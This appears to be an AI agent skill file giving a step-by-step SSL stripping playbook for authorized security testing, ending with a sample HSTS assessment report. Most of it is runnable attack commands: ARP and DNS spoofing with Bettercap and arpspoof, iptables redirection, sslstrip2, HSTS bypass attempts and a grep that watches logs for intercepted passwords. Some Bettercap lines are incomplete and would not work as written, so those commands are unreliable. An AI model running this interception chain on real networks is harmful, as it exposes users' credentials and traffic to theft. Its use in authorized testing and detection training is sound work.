performing-ssl-stripping-attack

Simulates SSL stripping attacks using sslstrip, Bettercap, and mitmproxy in authorized environments to test HSTS enforcement, certificate validation, and HTTPS upgrade mechanisms that protect users from downgrade attacks on encrypted connections.

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Repository: AgentFlocks/flocks
Last source activity: May 5, 2026 at 05:45
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name	performing-ssl-stripping-attack
description	Simulates SSL stripping attacks using sslstrip, Bettercap, and mitmproxy in authorized environments to test HSTS enforcement, certificate validation, and HTTPS upgrade mechanisms that protect users from downgrade attacks on encrypted connections.
domain	cybersecurity
subdomain	network-security
tags	["network-security","ssl-stripping","https","hsts","tls-security"]
version	1.0
author	mahipal
license	Apache-2.0
nist_csf	["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"]

Performing SSL Stripping Attack

When to Use

Testing whether web applications properly enforce HTTPS through HSTS headers and redirect chains
Validating that HSTS preloading is correctly configured and registered in browser preload lists
Demonstrating the risk of cleartext HTTP to stakeholders during authorized security assessments
Assessing whether internal applications and thick clients validate TLS certificates and reject downgrades
Training SOC teams to detect SSL stripping indicators in network traffic

Do not use against networks or applications without explicit written authorization, to intercept real user credentials, or against production systems during business hours without change management approval.

Prerequisites

Written authorization specifying in-scope applications and approved attack techniques
Bettercap 2.x or sslstrip2 installed on the attacker machine
ARP spoofing or other MITM positioning established (see ARP spoofing skill)
IP forwarding enabled on the attacker machine
Wireshark for verifying attack success and capturing evidence
Test accounts (not real user credentials) for demonstrating credential interception

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1: Establish MITM Position

# Enable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1

# Position via ARP spoofing using Bettercap
sudo bettercap -iface eth0 -eval "set arp.spoof.targets 192.168.1.50; arp.spoof on"

# Alternatively, use arpspoof from dsniff
sudo arpspoof -i eth0 -t 192.168.1.50 -r 192.168.1.1 &

Step 2: Execute SSL Stripping with Bettercap

# Start Bettercap with SSL stripping
sudo bettercap -iface eth0

# Enable ARP spoofing
> set arp.spoof.targets 192.168.1.50
> set arp.spoof.fullduplex true
> arp.spoof on


>  http.proxy.sslstrip 
>  http.proxy.port 8080
> http.proxy on


>  net.sniff.verbose 
> net.sniff on

# Configure iptables to redirect HTTP traffic through sslstrip
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

# Start sslstrip
sudo sslstrip2 -l 10000 -w sslstrip_log.txt

# In another terminal, monitor the log for intercepted credentials
tail -f sslstrip_log.txt | grep -i "pass\|user\|login\|email"

# sslstrip works by:
# 1. Intercepting HTTP responses containing HTTPS links
# 2. Replacing https:// with http:// in the response
# 3. Maintaining HTTPS connection to the real server
# 4. Serving downgraded HTTP to the victim

# Check if target has HSTS header
curl -sI https://target-app.example.com | grep -i strict-transport-security

# Check if target is on the HSTS preload list
curl -s "https://hstspreload.org/api/v2/status?domain=example.com" | python3 -m json.tool

# Test HSTS bypass via subdomain substitution
# sslstrip2 can replace URLs with similar-looking HTTP alternatives:
# https://accounts.google.com -> http://accounts.google.com (fails if HSTS)
# https://accounts.google.com -> http://accounts.google.com. (trailing dot bypass attempt)

# Bettercap HSTS bypass with DNS spoofing
sudo bettercap -iface eth0
> set arp.spoof.targets 192.168.1.50
> arp.spoof on
> set dns.spoof.domains target-app.example.com
> set dns.spoof.address 192.168.1.99
> dns.spoof on
> set http.proxy.sslstrip true
> http.proxy on

# For applications not on HSTS preload, clear HSTS cache in test browser:
# Chrome: chrome://net-internals/#hsts -> Delete domain security policies
# Firefox: Clear recent history -> Active Logins (resets HSTS)

# Check from victim's perspective:
# 1. Browser address bar should show http:// instead of https://
# 2. No padlock icon visible
# 3. If HSTS is effective, browser should show error and refuse connection

# Capture evidence of the downgrade
tshark -i eth0 -f "host 192.168.1.50 and port 80" \
  -T fields -e frame.time -e ip.src -e ip.dst -e http.host -e http.request.uri \
  -Y "http.request" > ssl_strip_evidence.txt

# Verify what the victim sees vs what goes to the real server
# Victim to attacker: HTTP (port 80, cleartext)
tshark -i eth0 -f "src host 192.168.1.50 and dst port 80" -c 20

# Attacker to real server: HTTPS (port 443, encrypted)
tshark -i eth0 -f "dst port 443 and dst host <real_server_ip>" -c 20

# Check IDS/SIEM for detection
# Snort rule that should detect SSL stripping indicators:
# alert tcp any any -> $HOME_NET 80 (msg:"Possible SSL Strip - Login form over HTTP";
#   flow:to_client,established; content:"type=\"password\""; nocase;
#   content:"http://"; nocase; sid:9000010;)

# Check for HSTS missing header alerts
curl -s http://target-app.example.com | grep -i "password\|login"
# If login form is served over HTTP, SSL stripping succeeded

# Stop SSL stripping
# In Bettercap:
> http.proxy off
> arp.spoof off
> quit

# Remove iptables rules
sudo iptables -t nat -F PREROUTING

# Disable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=0

# Kill background processes
sudo killall sslstrip2 arpspoof 2>/dev/null

# Verify network is restored
ping -c 1 192.168.1.1

Term	Definition
SSL Stripping	Downgrade attack that intercepts HTTP-to-HTTPS redirects, maintaining encrypted connection to the server while serving cleartext HTTP to the victim
HSTS (HTTP Strict Transport Security)	HTTP response header that instructs browsers to only connect via HTTPS for a specified duration, preventing SSL stripping in subsequent visits
HSTS Preloading	Submission of domains to browser-maintained lists that enforce HTTPS from the very first connection, closing the first-visit vulnerability window
Certificate Transparency	Public logging framework for TLS certificates that enables detection of misissued certificates but does not prevent SSL stripping
Mixed Content	Web pages served over HTTPS that load resources (scripts, images) over HTTP, creating partial downgrade vulnerability
Upgrade-Insecure-Requests	CSP directive that instructs browsers to upgrade HTTP requests to HTTPS, complementing HSTS for mixed content prevention

## SSL Stripping Assessment Report

**Test ID**: SSL-STRIP-2024-001
**Target Application**: banking.example.com
**Test Date**: 2024-03-15

### HSTS Configuration

| Property | Value | Status |
|----------|-------|--------|
| HSTS Header Present | Yes | PASS |
| max-age | 31536000 (1 year) | PASS |
| includeSubDomains | Yes | PASS |
| preload | Yes | PASS |
| In Chrome Preload List | Yes | PASS |

### SSL Stripping Test Results

| Target | Client | HSTS Status | Strip Result |
|--------|--------|-------------|--------------|
| banking.example.com | Chrome (cached) | Active | BLOCKED |
| banking.example.com | Chrome (fresh) | Preloaded | BLOCKED |
| banking.example.com | Mobile App | Not Enforced | VULNERABLE |
| api.banking.example.com | Chrome (fresh) | Not Preloaded | VULNERABLE (first visit) |

### Recommendations
1. Implement TLS certificate pinning in the mobile banking app (Critical)
2. Submit api.banking.example.com to HSTS preload list separately
3. Add Content-Security-Policy: upgrade-insecure-requests header
4. Implement certificate transparency monitoring for the domain